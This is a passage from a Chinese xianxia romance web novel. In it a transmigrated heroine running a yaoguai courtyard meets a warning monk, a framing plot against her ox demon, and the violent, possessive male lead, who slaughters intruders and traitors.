不能坐以待毙,苑里的人手还是太单薄了,尤其是能应对这种局面的。 还得多招几个可靠的护卫,不仅要能看家护院,最好外出办事时也能随行保护。 几日过后,经过调查,已经揪出惊马事件的幕后之人了。 果不其然,就是那几家驯妖院联手做的,也存着给那几个小混混出气的意思。 上一次,石多磊套头狠狠教训了那几人一顿,并不刻意掩去证据。 这一次,那些人用惊马来袭击石多磊,也并未掩去证据。 这是明摆着撕破脸了。 沈染星也不慌,多了护卫后,意外还是会发生,只是再也伤不到人,坏不了事了。 对方摁不死她,只会让她更强大。 甚至那一批受惊新小妖她也没放弃,一个个轻声细语,好吃好喝地安抚好了。 阳光和煦,清风徐徐。 趁着空闲,她打算亲自和它们结下契约。 刚进到后院棚下,一群各式各样的小妖便围过来,跟在她脚后跟走。 雪拂在一旁懒散守着。 懒洋洋地倚在门框上,白衣松垮,一副百无聊赖的模样。 让他来守着,纯粹是纪明月多疑,怕万一新妖野性未驯惊到沈染星,有只大妖镇着总归稳妥些。 但雪拂显然对这枯燥的差事毫无兴趣,打了个哈欠,眼尾泛着慵懒的媚意,目光飘忽,不知神游到了何处。 就在这时,乔阿盈轻手轻脚走进来,手里拿着一封素雅的信笺:“东家,有你的信。” “又有信?”沈染星心中一动,暂时放下手中的兔妖,站起身,接过信。 信封散发着令人心旷神怡的草木清香,莫名让她想起白尘烬身上的味道。 这个出乎意料的联系,让她怔愣了一瞬。 拆开信,展开信纸,上面的字迹清秀有力。 沈染星读完信,呼吸一滞。 雪拂察觉到异样,站直身子,眉头轻蹙:“怎么了?” 沈染星眨眨眼,眼睛瞬间亮了起来,脸上绽开惊喜的笑容。 “萧霁雪,居然是萧霁雪!”她几乎是惊呼出声,拿着信纸的手都有些微微颤抖。 自打来到方圆镇,她便一直想要寻找机会联系上萧霁雪,只是白尘烬不喜她那样做,再加上发生了贾贞那件事,便搁置了。 没想到对方竟然主动找上门来了。 “志同道合……她说我们是志同道合!”沈染星激动极了,看向雪拂,“雪拂,你看看,是萧霁雪,她想见我。” 雪拂本来还想打哈欠的,被她突如其来的兴奋弄得一愣,眨了眨狐狸眼,道:“你真的想见她吗?” “我当然,我找她好久了。” 雪拂扫了一眼她神色,嗤了一声,扭过头去,不再看她。 沈染星完全不在意他的态度,小心翼翼地将信纸折好,贴胸收起。 这是一个好消息,不仅对她,对白尘烬而言,也是。 只要原书女主来了,这一切就会回到正轨,白尘烬会回到原书女主身边,而她则可以脱离白尘烬的掌控,获得自由。 是的,这是一个好消息。 所以沈染星拿到信后,便马不停蹄地去找白尘烬。 这是萧霁雪自己找上门来了,可不能说她图谋不轨,也该接受她们见面了。 谁知,经过廊下时,一侧的房门突然打开。 一只手自里面伸出,攥住她手腕,把她拽进了房里。 是白尘烬。 这是他刻意躲避她接触以来,第一次这般近距离接触。 他身上的气息,还是如同从前一般,是雪松木的干燥,清透,给人淡淡的疏离感。 可她的心境却大不相同了。 沈染星怔愣一瞬,身体往前,凑过去闻了一下。 这气息,与萧霁雪的那封信的…… 果真十分相似。 他们似乎有着她所不知道的某种联系。 思索间,白尘烬指尖往她衣襟探,手背触碰到她锁骨,冰冷的触感激得她轻轻地一缩。 他扣住她,阻止她的后退。 两根手指夹紧信笺,慢条斯理地从她怀中抽离。 沈染星能感觉到纸张边缘刮过内侧衣襟的微弱阻力,以及它最终脱离时带来的那瞬间的空落感。 本来还觉得他把她拽进来莫名其妙,如今她还有什么不明白。 这是迫不及待拿到这封信。 白尘烬提前知道了也好,省的她多费口舌解释。 沈染星抬眼看他,道:“……这是萧霁雪送来的信,我刚刚也是想找你说一下这一件事,她要来了,到时候我们一起去见她吧。” 话音刚落,她的眼睛便被他缠着素帛的手捂住了。 掌心是冰凉的,皮肤紧绷,骨骼轮廓坚硬,肌肉轻微地颤抖,似乎在克制,在忍耐。 一时间,沈染星只剩下一个念头。 他生气了。 沈染星眨了眨眼,接着说道:“我知道你不想我找她,可这一次是她找我了,所以这事怨不得我……其实你应该也知道的,她也想见我。” 她说着,闭上了眼,眼睫因恐惧轻轻颤动,纤长的眼睫毛轻轻敲着他掌心。 明明隔着一层素帛,白尘烬却感到了她的眼睫触感,感到她的激动。 甚至隔着手掌,她闭上了眼,他还是能想象得到她的眼神。 疏离,试探,带着离别意味的眼神。 她在推开他,也是,她只是求他不要杀她,可从未说过要留在他身边。她只是恐惧他,利用他,哄骗他。 他不由得一阵烦躁:“闭嘴。” 沈染星:…… 这人还真实仗着自己的实力,不讲理了。 沈染星并不打算听他的话。 她嘴角微微抽搐, 勾起一抹甜甜的笑:“你之前答应过不杀我,应该还作数吧。” 过了好一会,他才低沉得“嗯”了一声。 这不就得了。 沈染星心里一热,如果有尾巴,都要撅上天了:“那我就不闭嘴了……人我是肯定要见的。” 白尘烬冷漠道:“你就那么想见她?” “想,不对,是很想。” 白尘烬再次确认心中所想:“为什么?” “你是知道的,我从一开始便想要见她,”沈染星道,“她那样的人,像一团火,明亮、灼热,活得样恣意又精彩,喜欢和她结交朋友,是一件很正常的事情。” 这是真心话,当时第一次在书中看到萧霁雪的时候,便觉得她身上有种不一样的光彩,像山间的松,风雨越劲,越是挺拔青翠。 若有机会,她是真想与她那样的人,堂堂正正地论一次道、品一次茶,甚至……交一次朋友。 白尘烬顿了片刻,声音有些疑惑:“你们认识?” 沈染星诚实道:“她最近做的事可不像我们这样小打小闹,那是轰轰烈烈的,那些关于她的零碎事迹,你应该也听说过吧。你肯定也很喜欢她的才华、魄力、仁心……” 沈染星的话还没说完。 不知哪个字那个词触动了他的神经,他猛地抬手,扣住她的脖子,将她推到门上。 他眼神狠厉,动作粗暴。 修长的手指冰冷,贴着她的脖颈,冰得她起了一层鸡皮。 已经好长一段时间,他没有对她展露如此明显的杀意了。 沈染星的心扑通扑通地跳,下意识握住他手腕。 她还未来得及说什么,他又猛地松开她,只是低着头,目光压着她,重重呼吸着,太阳穴附近甚至凸起了青色的血管。 沈染星有些懵,这还是第一次见他愤怒成这副模样。 说来惭愧,始作俑者可能是她。 寻常时候,他还没怒成这副模样,或许就把人给宰了消气,可他答应了不杀她,这几乎无法容纳的过载情绪,就这么憋在他心口。 “我哪里惹你生气了吗?”她问。 白尘烬阴冷地看着她。 是,她惹他生气了。 他不想看到她总是一副对他无所谓的模样,不想听到她提起那个人,更不想隐隐表露出把他推到那人身边的态度。 空气似乎变得粘稠。 白尘烬的目光愈发锐利,瞳孔收缩,可能因极度愤怒,眼眸几乎出现细微的震颤。 沈染星怕他瞳仁变亮,陷入失控状态,伸手拍了拍他的肩膀:“怎么生气了,可以和我说嘛……别把自己气到失控了……” 他凝视着她,目光冷得骇人,透着危险的气息。 沈染星心脏怦怦狂跳起来,搭在他肩膀上的手,差点化拍为推,推开他。 好在,她理智地忍住了。 白尘烬冷冷问道,声音沙哑:“你们何时见面?” 沈染星放轻声音:“时间还没约好,对方还在等我回信,我觉得三日后……” “她人在何处?”白尘烬打断她。 “信中有地址,我按那个地址把信寄过去便可以了。” “好。”白尘烬轻吐出一个字,松开了她。 “那给我吧。”她一抬头,却不见了他人影。 沈染星:? 信呢?她的信呢?信还没还她呢! 没有地址,她怎么给人回信啊?! 白尘烬该不会是想吃独食,自己去见吧! 白尘烬这样莫名其妙的时候不少,沈染星只是在原地纳闷了片刻,嘁了一声,推门离开了。 沈染星回了后院,一个个和那些小妖结了契约后,心情轻快了不少,连脚步都轻盈了几分。 她答应了给它们送礼物,还列了一个礼物清单,想着择日不如撞日,趁着天色还早,准备亲自去市集采买了。 想着这一批软萌软萌的小可爱,她脸上带着不自觉的笑意,推开共生苑的大门。 然而,脚步刚迈出门槛,她的笑容便僵在了脸上。 门前不远处,静静地站着一位身着灰色僧袍的老和尚。 他手持念珠,面容清癯,眼神澄澈,目光扫过来时,仿佛看透了她的心。 他就那样站着,似乎已等候多时。 沈染星心里咯噔一下。 怎么又是这个老和尚,居然还找上门来了。 一开始她还明令禁止老和尚入内,可搬来此处几个月了,她从未见过他,早已放松了警惕。 想不到会突然见到他。 沈染星身子一僵,低着头,即刻往门内缩。 “女施主,请留步。”那老和尚的声音平和舒缓,却让她心惊胆战。 沈染星不仅装作没听见,还加快了关门的速度。 可关门声没响起。 反而响起了老和尚的闷哼。 老和尚用手挡住了门缝,沈染星却还想再次用力。 “女施主!”老和尚的声音明显急了起来,“逃避并非解决之道,若一味回避,恐事态将一发不可收拾。” 沈染星关门的动作顿住了。 她深吸一口气,知道躲不过了,只得打开门,勉强挤出一丝客套的笑容: “大师,不好意思,刚刚没看到你。” 老和尚收回手,瞥了一眼被门夹红的手,又看了眼睁眼说瞎话的她。 双手合十,微微颔首:“贫僧慧觉,有几句话,不得不告知施主,此处并非谈话之所,不知可否借一步说话?” 慧觉态度谦和有礼,但语气中坚决,眼神坚定,让沈染星无法拒绝。 沈染星无奈,只得侧身:“大师请进吧。” 一路沉默,沈染星引他到前厅坐下,让乔阿盈奉上清茶。 茶水氤氲着热气,慧觉却并未品尝,他直视着沈染星,开门见山,声音依旧平和,却字字如锤: “女施主,你非此世之人。” 沈染星端茶的手猛地一抖,滚烫的茶水溅出几滴,烫红了手背。 “不是又如何?” “天命轨迹,自有其数。然而,施主的到来,如巨石投溪,扰乱了此间既定的命数流向,使得未来迷雾重重,吉凶难测。” 沈染星脸色白了白,只觉得一股寒意从脚底直窜头顶。 慧觉语气加重:“世界的轨迹已因你而大变,它正在流向一个未知的方向。若那前方是光明坦途,自是万幸,可若因你之故,引致灾祸连绵,生灵涂炭之果呢?这滔天的因果,这沉重的业力……” 他目光紧紧锁住她:“施主你可能承担得起?” 他的话语如同重锤,一下下敲击在沈染星的心上。 她脸色苍白如纸,身体微微颤抖起来。 她从未想过那么远,她只想护着眼前这一方小院,和院里这些依赖她的人和妖。 可老和尚的话,像一把冰冷的刀子,剖开了她一直刻意忽略的、深埋的不安。 这不安压得她几乎喘不过气。 “我没有……”她无意识摇头,惊慌无措道,“我只是想留下来,我从未想过要害谁……” 慧觉看着她惊慌失措的模样,眼中闪过一丝不忍,但语气依旧凝重:“无心之失,亦能酿成大祸。施主,回头是岸。趁一切还来得及,归去吧。” 厅内瞬间陷入一片死寂,沈染星只能听见自己的呼吸声,急促而不安。 慧觉离开后,沈染星几乎是逃也似的离开了前厅。 她回到书房里,试图将慧觉那些沉重如山的告诫关在门外。 心绪依旧纷乱如麻,扑通直跳的心脏久久无法平复。 慧觉的话像魔咒一般 ,在她脑海里盘旋。 沈染星无力地坐在窗边,望着院内嬉闹的小妖。 一个念头忽然钻了出来。 如果只是守着这个妖院,安安分分地过日子,不主动去招惹原书里的主角团,不介入他们那些惊天动地的大事…… 是不是就不会对这个世界造成太大的影响?她只是一个微不足道的小人物,只想偏安一隅,应该……没关系的吧? 她试图用这个想法安慰自己,但那深埋的不安却依旧挥之不去。 目光不经意扫过桌面,落在了那封秦昭送来的信笺上,那是邀请她赴茶楼之约的。 在夕阳下,精致的洒金笺金灿灿的,与方才那场令人窒息的谈话形成了鲜明的对比。 萧霁雪快来了,白尘烬应该不会再干涉……她去见秦昭了吧? 第38章 把她关起来 去见见其他人吧, 沈染星想,她迫切地需要做点别的事情来转移注意力,需要一些轻松愉快的氛围来驱散心头的阴霾。 而秦昭温文尔雅,和他相处总是令人如沐春风, 或许, 赴这个约, 能让她暂忘记那些可怕的警告。 “对,就去看看吧。”沈染星像是抓住了救命稻草,低声对自己说。 三日后, 城北新开的听雨阁茶楼。 果然如秦昭所言, 景致极佳。 楼阁临水而建, 飞檐翘角,内部装饰雅致奢华,宾客盈门,丝竹声悦耳,一派繁荣热闹景象。 秦昭早已在雅间等候, 见到沈染星, 脸上便露出温和的笑意。 他今日似乎心情极好, 谈吐越发风趣, 只与她品茶闲聊,赏窗外水景,论市井趣闻,丝毫未提生意上的事情。 与他相处,沈染星确实感到轻松了许多。 香茗氤氲, 点心精美,窗外流水潺潺,耳边是令人愉悦的交谈, 她暂时将慧觉和尚那些话压在了心底,脸上的笑容也渐渐真切起来。 然而,秦昭还是捕捉到了她的异常。 他放下茶盏,语气温和关切:“染星,今日见你,似乎心事重重,遇到了什么难处?” 沈染星眼眸一抬,有些惊讶。 她并未表露出任何心绪,秦昭居然也察觉了,他未免太过细心。 “其实也没什么……” “若方便,不妨说与我听听,或许我能为你分忧一二。” 压制的情绪,被他这一句话压得翻涌起来,可她不想多谈。 沈染星声音微哑,“只是些琐事。” “嗯。”秦昭体贴地为她续上热茶,“我与你很投缘……” 这是真心话,秦昭行商,见过太多人了。 聪慧的、娇媚的、温婉的、热情的……如同园中争奇斗艳的花,各有其姿,却也大抵逃不出那几样颜色,几分香气。 他以为自己早已习以为常,心湖难起波澜。 直到遇见沈染星。 她总有一份不合时宜的坚持,在这人人明哲保身、权衡利弊的商场中,她竟会为了一件于己无益的小事,一个无人看重的小妖,认真地据理力争,脸颊因激动而泛红,眼睛亮得惊人,像护着幼崽的雀鸟,她的勇毅笨拙却璀璨。 她不像他见过的任何人。 甚至不像这世间该有的人。 秦昭接着道:“……虽然我只是一介商人,但也有几分薄产,几分实力,解决你当下的困境不是问题。” 沈染星有些呆愣:“什么困境?” 他知道了什么? 秦昭温和的笑容下,带着几分锐利:“你若是想离开他,可以来找我。” 他的话似是而非,并未具体指向那个他是谁,可两人都心知肚明他说的是谁。 沈染星愣住了。 她身边居然出现了一个能与白尘烬硬刚的勇士。 不过,其实她最忧心的,并不是暗暗限制她自由的白尘烬,而是那个臭和尚。 这种乱力怪神的事,她不太想和外人道说,何况,她虽然对秦昭印象不错,却也没熟到可以将一切全盘托出。 沈染星摇头:“多谢,但是我其实还没有这个想法。” 秦昭垂下眼睫,他并未追问,态度温和像是一位难得的知己。 静默片刻,他又眼看她:“好。” 被他这样一打搅,沈染星这些时日心底沉沉压着的情绪,似乎散了些。 秦昭几乎第一时间,便察觉到她情绪稍缓,不再多言,适时地将话题引向了轻松的方向。 一顿饭吃得宾主尽欢。 临别时,秦昭从身后随从手中取过一个雕工精致的紫檀木盒,递到沈染星面前。 “染星,小小礼物,还望笑纳。” 沈染星一愣,打开盒子。 里面是一套赤金嵌宝的头面首饰,一支簪子,一对耳坠,做工精巧,宝石光泽莹润,一看便知价值不菲。 经过一番推拒,沈染星还是在秦昭隐隐的期待目光下,忐忑地手下了那套首饰。 至于为何会忐忑,她自己也不明白。 那种感觉有些古怪。 很难形容。 仿佛她收下礼物的那个动作,被聚光灯照着,每一个细节都无处遁形,那灼热的光线,几乎让她的手背一阵发热,发烫。 因此她甚至不敢多看,回到房间后,便把那套首饰首饰匣子最上层。 沈染星一直以为那古怪的感觉,是白尘烬造成的,可过了两日,也不见他发难。 甚至不见他人影。 那日拿走了萧霁雪寄来的信笺后,他似乎就消失了。 不过,他的消失没给沈染星带来太大的感触。 她一如既往的忙碌着。 几乎没分出心神细想。 这日,共生苑刚送走一批前来咨询租赁妖物用于搬运木材的客人,还未歇口气,乔阿盈便领着一位客人走了进来,脸上带着点不易察觉的无奈。 那是一位中年男子,身形干瘦,穿着半新不旧的绸衫,眼神精明,嘴角微微下撇,带着一股挑剔审视的劲儿。 他一进门,目光就毫不客气地在院内扫视,打量着那些正在休息或工作的妖物,眉头深深皱起,仿佛能夹死苍蝇。 “你们东家呢?叫你们东家出来说话。”他开口,声音有些尖细,透着股不耐烦,“我可是听人说你们这儿有什么好妖才特地跑这一趟的,别拿些歪瓜裂枣糊弄我。” 正在一旁记账的石多磊连忙放下笔,笑着迎上来:“这位爷,您有什么需求尽管跟我说,我一定……” “跟你说顶什么用?” 那瘦男人打断他,下巴抬了抬,“我要见你们东家,能做主的那种,谁知道你们底下人会不会以次充好?” 乔阿盈在前院便受了他不少气,一听他依旧这般语气,还要不分青红皂白地冤枉人,就要上前理论。 这时,沈染星听到动静,从里间走了出来:“我是东家,这位客人有什么需要?” 乔阿盈见沈染星出来,愤愤站到她身后。 瘦男人上下打量了沈染星一番,见她是个长相甜美的女子,还年轻,眼中不屑之色更浓。 “我姓钱,家里新开荒了百来亩山地,急着要播种,这都夏天了,时节不等人,寻常耕牛慢得跟蜗牛爬似的,根本指望不上。” 沈染星静静看着他。 他莫名心慌,卡壳了一下。 暗暗深吸一口气,勉强把勇气吸回来。 听说这院中那极厉害的打手近日会被仇家拖住,正是搞垮他们的好时机。 已经做好计划了,怕个鸟! 钱老板重振旗鼓,语速很快,态度倨傲:“听说你们这儿有能干活的妖,力气大,耐力好,是不是真的?” 沈染星态度不冷不热,恰到好处:“是的,钱老板,这边请。” 在他来之前,纪明月已然收到风,对家会派人来闹事,即便这一次挡回去了,这些人还指不定会使什么阴招。 还不如直接应下来,见招拆招。 钱老板大摇大摆朝着沈染星指引方向走去,一张嘴还说个不停:“我可先说好,价钱太贵了我可不要,而且得让我亲眼看看货色,是不是真像吹的那么厉害?别是光有个架子,中看不中用,要是耽误了我播种,你们可赔不起……” 乔阿盈在一旁听得直翻白眼,小声跟旁边的石多磊嘀咕:“瞧他那样子,钱没见着几个,屁事要求倒是一大堆,真难伺候。” 石多磊悄悄拉了她一下,示意她别多嘴,自己则脸上堆着笑,对那钱姓男子道:“钱爷您放心,我们共生苑的妖物都是签了契约的,保证听话肯干,力气耐力绝对没话说。” 钱老板从鼻子里哼了一声,还欲发难,一抬眼,便对上了沈染星的视线。 沈染星双眸乌沉沉的,带着淡淡的笑意,莫名瘆人。 钱老板一口气提上去,又泄了个干净。 心下暗忖,这娘们怎么有些邪门。 “邪门”的沈染星不知她此时的笑意得了白尘烬的几分真传,自以为笑得“真善美”,堵住了这钱老板恼人又欠揍的嘴。 于是笑得更邪门了…… 钱老板顿觉浑身阴冷,一路上,选好妖,到谈好价钱和工期,都异常爽快。 沈染星见钱老板伶牙俐齿,她也指派了满口芬芳的那头牛妖,还特地嘱咐了“好好干活”,最好把他们的耳朵给吵聋了。 次日清晨,晨光熹微,晓色初透。 沈染星坐在梳妆台前,准备挑选今日佩戴的饰物。 她习惯性地打开首饰匣子,目光扫过里面寥寥几件素银簪花和珠串,都是些寻常物件。 随后,她的动作猛地顿住了。 匣子最上层,原本放着秦昭所赠那套赤金嵌宝首饰的位置,此刻躺着的,却是一套截然不同的头面。 簪子莹白无瑕,簪身流线优美,光芒内敛,玉质触手生温,隐隐有灵光流转。 旁边一对耳珰更是精巧,雕成了含苞待放的优昙婆罗花形态,小小的,灵气氤氲。 整套首饰看起来根本不像凡间之物。 这绝非寻常场合能佩戴的,更像是某些极其隆重正式的祭祀,或者大典上才能压得住场的宝物。 沈染星愣住了,拿起那支玉簪,冰润的触感传来,带着一丝奇异的熟悉气息。 怎么回事? 秦昭送的首饰呢? 谁换了她的东西? 她第一个想到的是白尘烬。 只有他能如此神不知鬼不觉地进入她的房间,只有他会有这种完全超出常人理解,霸道又莫名其妙的行为模式。 可是……为什么? 他拿走萧霁雪的信件后,她便再也没看到他。 她自以为两人的关系已经很清晰了,桥归桥,路归路。 现在这又算怎么回事? 沈染星握着那支价值连城的玉簪,心里涌起一股极其怪异的感觉。 他偷偷换走了秦昭送的首饰,塞给她一套更贵重、更罕见、甚至带着他独特气息的…… 这行为简直…… 像极了某种幼稚的,笨拙的,宣示主权般的……吃醋? 这个念头一冒出来,沈染星自己都觉得荒谬。 白尘烬浑身煞气,冷冰冰的,又怎么会做这种偷偷摸摸换女孩子首饰的幼稚事。 可除了他,还能有谁? 难道是因为看不顺眼别人送的东西? 沈染星握着玉簪,看着镜中的自己一脸困惑,摇摇头,把这奇怪的猜测压下去。 日轮金红,自飞檐一角缓缓爬升,暖光一寸一寸地镀上枝叶、阶前、窗棂、最后映入厅内。 清晨的饭桌还未撤下,粥碗里还冒着丝丝热气。 沈染星正与纪明月、石多磊等人说着今日的安排,院外忽然传来一阵急促慌乱脚步声。 一个雇工连滚带爬地冲了进来,脸色煞白,上气不接下气: “不好了,东家,不好了,出大事了!” 纪明月呵斥:“慌什么!” 沈染星心中一凛,放下筷子:“别慌,慢慢说,出什么事了?” 那雇工喘着粗气,声音都变了调:“是牛妖,它伤了人,在钱老板的那片荒地上,听说伤得挺重,血流了一地……” 果然是牛妖那边出了事。 牛妖嘴是臭了一点,性子也挑剔,可他只是嘴强王者,给他豹子胆,他也不敢伤人。 沈染星压下升起的慌乱:“具体情况是什么样的,细细和我说来。” “具体小的也不清楚,就听钱家跑来报信的人说,干着活,不知怎么那牛妖就发了狂,顶伤了一个工人,肚子都捅穿了,现在人怕是不行了!” 雇工的声音带着恐惧。 纪明月脸色瞬间沉了下来:“钱老板人呢?” “钱老板当场就翻了脸,直接让人绑了牛妖,扭送官府了,还放话说我们共生苑草菅人命,养妖为患。” 雇工越说越慌,“现在外面都传疯了,说咱们这种不先彻底驯服妖物,只靠什么狗屁契约的方式,根本就是儿戏,藏着天大的风险,以前没出事是侥幸,现在果然闯大祸了……” 乔阿盈一听扭送官府,脸色一白,急得快哭出来了:“怎么办,送官的妖,那是没有活路的。” 石多磊环住颤抖的乔阿盈,低声道:“东家,伤人重罪,还是妖物行凶,估计会当场处斩。” “斩决……”沈染星低头沉吟,原来他们打的是这个注意。 公堂审妖,会让这些一些言论迅速流传开。 所有的矛头,都会指向她们努力推行的契约模式。 之前所有的顺利和好评,在这一次意外面前,定会成为不堪一击的虚假繁荣。 人们只会记得妖物伤了人,只会质疑她们为何不先用暴力,为何不插入妖钉,将妖物彻底驯服。 纪明月站起身来,眼中寒光凛冽:“既然来了,那我们便好好和他们玩玩。” 日头正烈,山风强劲,吹得人衣裳猎猎。 山上的田地,依着山势一层一层往上叠,沈染星一行人沿田径而上,来到出事现场。 现场已经被官府的人粗略处理过,但依旧残留着混乱的痕迹。 这一处的荒地是新开垦,植被稀少,裸露着黄土。 黄土杂乱,有一滩血迹,已经变成暗褐色,触目惊心。 围观的百姓早已被驱散,只剩下几个钱家的长工在远处指指点点,看到沈染星他们过来,立刻露出戒备和厌恶的神情。 沈染星强忍着心中的不适,仔细勘察现场。 纪明月目光锐利,扫视着每一个角落。 “染星,你看这里。”纪明月忽然蹲下身,指向一片被踩踏过的泥土边缘。 沈染星凑过去,只见那片泥土颜色有些异样,夹杂着少量的,不仔细看根本发现的白色粉末。 她用手指沾起一点,凑近鼻尖闻了闻,有一股淡淡的腥甜气,有些奇异,她从未闻过。 “这是什么?”乔阿盈也蹲下来看。 纪明月脸色凝重,还未回答,田地另一头的石多磊吸引了所有人的注意:“东家,你来看!” 沈染星闻言,朝他走去。 石多磊蹲在地上,正指着那些混乱的、深深的牛蹄印上。 钱家人曾经向官府指认,这就是牛妖大角发狂时踩踏留下的。 沈染星蹲在石多磊身侧,只消一看,便察觉不对。 她眉头紧蹙:“这牛蹄印有问题。” 石多磊斩钉截铁:“没错,这绝不是大角踩出来的!” 他喜欢研究妖物,对大角的蹄印再熟悉不过:“大角的蹄子更宽厚,蹄印边缘圆钝。而眼前这些蹄印,虽然也是牛蹄印,却略显狭长,蹄尖的印记也更尖锐一些。” 沈染星道:“把牛蹄印拓印下来……” 话还未说完。 一名男子就连滚爬爬,面色惨白地冲了过来,沈染星认得他,是近日新聘请的护卫。 他主要在外围巡逻,身材魁梧,是个铮铮铁汉,声音也浑厚有力,可话不太好听:“东家,不好了,不好了!” 一听到“东家,不好了”,沈染星就一阵头大。 她对这句话都快应激了…… 她还蹲在原地,叹了口气:“这下又怎么了?” 护卫直接滑跪在她面前,声音因极度恐惧而尖利变形:“白爷他……他在院里杀人了,杀了好多人,里面外面都死了很多人。” “什么?!” 沈染星猛地站起身,只觉得眼前一黑,几乎站立不稳,“你说清楚,谁杀了谁,在哪里?” 那护卫打打闹闹不少见,可还是第一次见到那般屠戮血腥的场面,一时间吓得语无伦次。 “就,就在后院,不对,还有院墙外面,好多穿着黑衣的人忽然冲进院里,我们还没动手,白爷他出现了,然后那些人头都断了,血……好多血!” 纪明月站在一侧,脸色瞬间冰寒,默不作声。 沈染星弯腰,一把抓住那护卫的衣襟,着急道:“死的都是什么人?” 护卫身子都在发抖:“不知道,太混乱了,我一看到就来找你了。” 沈染星的心脏狂跳起来,也顾不得细问,提起裙子就往山下冲去。 纪明月和石多磊也立刻跟上。 马车一路疾驰,回到共生苑大门,还未下车,便闻到一股浓郁的血腥味。 沈染星下马车时,手脚一软,差点跪到地上。 车夫连忙扶着她,她稳住身子后,便着急忙慌地往里走。 一进到后院,便见靠近墙根的一片空地上,横七竖八地倒着十几具黑衣人的尸体,死状各异,但皆是一击毙命,伤口精准而恐怖。 院墙之外,还有更多的动静,惨叫声一声声传来,但很快也归于沉寂。 沈染星不多看,循着声音找去,直接从侧门出到院外。 一出门,便看见了白尘烬。 他背对着她,站在尸堆之中,深色衣袍上沾染了暗红的血迹,手上持着一把刀,刀刃滴落着尚未凝固的鲜血。 不少护卫远远围着他,不敢上前。 还未等她说话,他便手起刀落,利落解决了他前面的那人。 哀嚎一声过后,那人倒下了。 那人并非穿着黑衣,而是……靛青色劲装,腰束一掌宽的黑色皮革腰带,紧束袖口,下着扎脚裤,脚踏薄底快靴。 那是……共生苑的护卫,她的护卫。 他杀了她的人。 沈染星喘着粗气,像是陷入了木僵状态,全然不知该怎么办。 “白沉烬……”她喃喃地叫他。 白尘烬缓缓转过身来,他脸上却没有任何表情,眼神冷寂,亮着瘆人的光华,静静与她对视。 这时,一侧的护卫又怒吼着,往前冲去。 “住手!”沈染星大叫出声,可那攻击的护卫并未停手,抬刀便往白尘烬砍去。 白尘烬侧身一闪,手起刀落,那护卫人头落地。 杀了人后,他不再看她,只是淡淡看着身边的一圈护卫,眸子亮着非人的光。 他又分不清了。 又分不清敌友。 往常时候,那些不逃的,他便都杀了,可今日不知为何,他迟迟没有下手。 他是有些后悔的,不该迟疑的,若是在她回来之前,把所有人都杀了,便不会看到她那样的眼神。 当下,他甚至不太愿意看她,害怕看到她那厌恶的神情,害怕看到她冷漠的态度。 在白尘烬的视线扫射下,大多数护卫颤抖着后退,其中两名护卫却手腕一拧,气势变得凌厉。 沈染星看着这一幕,呼吸逐渐急促起来。 这还有什么不明白的! “还愣着干嘛!”她大喊出声。 白尘烬浑身一僵,气息变得冰冷,周身散发着一种令人胆寒的杀戮之气,仿佛刚从地狱归来的修罗。 都杀了,把这些碍事的人都杀了,然后把她关起来。 洗去她所有的记忆,让她脑海中只能记得他,再无其他。 让她只能为他慌乱,为他哭泣。 “快把那两个叛徒给我抓了!” 她话音落下,白尘烬浑身气息一滞。 居然不是为了杀他。 他转头看她,目光恰恰落入她盛满担忧的眸子里。 第39章 他的醋意 听见沈染星的话, 围观的护卫这才从震惊中反应过来,意识到莫名带着他们对白尘烬出手的,是叛徒。 连忙举刀冲上前去。 场面霎时间乱成一片。 打斗中心,刀光剑影交错, 叛徒困兽犹斗, 招招狠戾。 可白尘烬却定定站着, 如一座僵化的雕塑,不战斗,也不闪躲。 飞溅的血珠擦过他苍白的脸颊, 他却毫无知觉, 只是怔怔地望着沈染星。 方才她…… 出声护了他? 那双漫上血腥与杀意的眼眸, 此刻碎裂出一道茫然的微光。 白尘烬的表现太过异常,沈染星以为他出现了什么问题,心急如焚,朝他喊道:“快过来。” 她的声音像一道鞭子,抽醒了白尘烬。 他浑身几不可察地一颤。 可他非但没有上前, 反而像被灼伤般, 猛地向后退去。 靴底踩进浓稠的血泊, 却仿佛踩空了一步, 跌进一场过于美好的幻梦。 她担忧的眸光,她毫不犹豫的维护……这怎么可能属于他。 他这般从地狱里爬出来、满手血污秽的人,只会让她惧怕他,又怎么会得到她的担忧? 这太不真实了。 不真实得令他恐惧,比面对千军万马更让他心惊胆战。 他宁愿这一切是阴谋, 是假象,没有半分真意,他才可以从容应对。 可他如今实在分不清, 他必须逃离,不知他沉溺于这虚幻的温暖,她下一刻是否会露出的厌恶眼神,将他彻底撕碎。 白尘烬猛地转身,近乎狼狈地纵身掠起,眨眼便消失在了密林中。 “喂!”沈染星的呼喊被风吹散。 她有些郁闷。 这白尘烬怎么回事。 已经半个月不见了,难得见上一面,还未来得及说一句话,甚至这叛徒也没给收拾干净,转身就跑了? 躲她也不带这样躲的,她是什么吃人的洪水猛兽吗…… 白尘烬想躲,谁也找不到。 把妖院里的事交代清楚,沈染星又马不停蹄地去了衙门。 公堂之上,气氛凝重。 见那钱老板笑容的笃定,沈染星顿觉不妙,立刻让石多磊火速前往秦府求见秦昭,希望能借助他的影响力施加压力。 而她和纪明月则将收集到的白色粉末样本,和精心拓印下来的蹄印证据整理好,呈上公堂。 这白色粉末寻常人不知,可纪明月恰巧见过。 其功效之一便是使得妖钉失效,妖物一旦恢复神智,无论是因为疼痛,抑或是复仇,都会发狂伤人。 而他们的牛妖根本不是受妖钉所控,这白色粉末对它根本不会有任何影响。 更何况,那蹄印大小、形状都有明显差异。 沈染星强压紧张,将发现的疑点一一陈述。 她言辞凿凿,证据虽非铁证,却也将疑点清晰地摆在了台面上。 纪明月在一旁补充,从药理和妖物习性角度分析粉末作用,以及蹄印差异的不可伪造性。 一番话讲得条理分明,头头是道,连堂外围观的百姓中都响起了一些窃窃私语,觉得此事确有蹊跷。 然而,那堂上的陈大人,听着她们的陈述,看着呈上的证据,脸上却没有任何动容和重视之色,反而露出一丝不易察觉的不耐烦。 他甚至没有仔细查看那粉末和蹄印拓模,只是随意瞥了一眼,便重重一拍惊堂木。 啪一声。 “大胆!”陈大人厉声喝道,“休得在此胡言乱语,混淆视听,妖物伤人,铁证如山,岂容你等用这些来路不明的粉末和不知所谓的蹄印来狡辩脱罪?本官看你们就是管理不善,纵妖行凶,如今还想砌词狡赖!” “陈大人,证据就在这里,怎么会是狡赖?”沈染星难以置信地抬头,急声道,“这蹄印分明……” 啪又一声。 “禁止咆哮公堂。” 